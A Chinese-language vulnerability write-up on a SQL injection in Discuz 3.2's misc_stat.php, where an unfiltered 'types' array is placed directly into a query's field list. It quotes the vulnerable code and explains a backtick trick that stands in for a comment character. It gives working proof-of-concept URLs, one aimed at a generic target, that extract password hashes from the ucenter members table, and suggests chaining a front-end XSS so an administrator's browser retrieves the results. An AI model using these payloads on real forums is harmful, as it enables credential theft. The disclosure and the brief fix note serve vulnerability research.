前台非盲注,只需要配合一个xss,就能消除鸡肋了。
信pandas,得永生,紧抱doggy哥大腿!/source/include/misc/misc_stat.php 46行:
if(!empty($_GET['xml'])) {$xaxis = '';$graph = array();$count = 1;$begin = dgmdate($beginunixstr, 'Ymd');$end = dgmdate($endunixstr, 'Ymd');$field = '*';if(!empty($_GET['merge'])) {if(empty($_GET['types'])) {$_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']);}$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';$type = 'statistic';}foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) {$xaxis .= "
".substr($value['daytime'], 4, 4)."";if($type == 'all') {foreach ($cols as $ck => $cvs) {if($ck == 'login') {$graph['login'] .= " $value[login]";$graph['register'] .= " $value[register]";} else {$num = 0;foreach ($cvs as $cvk) {$num = $value[$cvk] + $num;}$graph[$ck] .= " ".$num."";}}} else {//var_dump($value);exit;if(empty($_GET['types']) || !empty($_GET['merge'])) {$graph[$type] .= " ".$value[$type]."";} else {foreach($_GET['types'] as $t) {$graph[$t] .= " ".$value[$t]."";}}}$count++;}$xml = '';$xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>";$xml .= ' ';$xml .= $xaxis;$xml .= " ";$count = 0;foreach ($graph as $key => $value) {$xml .= " ";$xml .= $value;$xml .= '';$count++;}$xml .= ' 见这一句:$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
将$_GET['type']数组直接用`+`分割,并没有过滤。
因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。现在遇到另一个问题,怎么绕过discuz3.2的WAF?不绕过也没法出数据。我们先看看输出点在何处:http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=xSELECT daytime,`aaa` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime
我们再看上述sql语句,发现我们可控的部分前面,还有个daytime。这就愁坏我了,因为我要查询的表是用户表,而用户表根本没这个字段。
没有注释符怎么处理?
这里有个巧合,在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。所以,先构造一个url:http://localhost/bbs/misc.php?mod=stat&op=trend& xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as可以看到已经出数据了。但发现出来的数据只有4位。原因是,在源码中使用了substr取了daytime的第4到8位:$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";我们看下有没其他的输出点。于是找到了一个:
if(empty($_GET['types']) || !empty($_GET['merge'])) {$graph[$type] .= "
".$value[$type]."";} 这个if语句,其中$type为statistic,而将$value[$type]的值输出了。所以,我只需将password取个别名叫statistic,就能输出password了。
那么,最后的poc就是:http://localhost/bbs/misc.php?mod=stat&op=trend& xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as本地测试效果: 这个鸡肋之处在于,虽然它是一个前台的注入(无需登录后台),但是却需要管理员权限。所以,利用方法就是找到一个前台xss,管理员(前台管理)访问以后用javascript获得访问到的页面内容,即可获得注入出的信息。使鸡肋漏洞变得不再鸡肋。或者利用某些的跨域漏洞,也能注入。http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as修复方案:
过滤。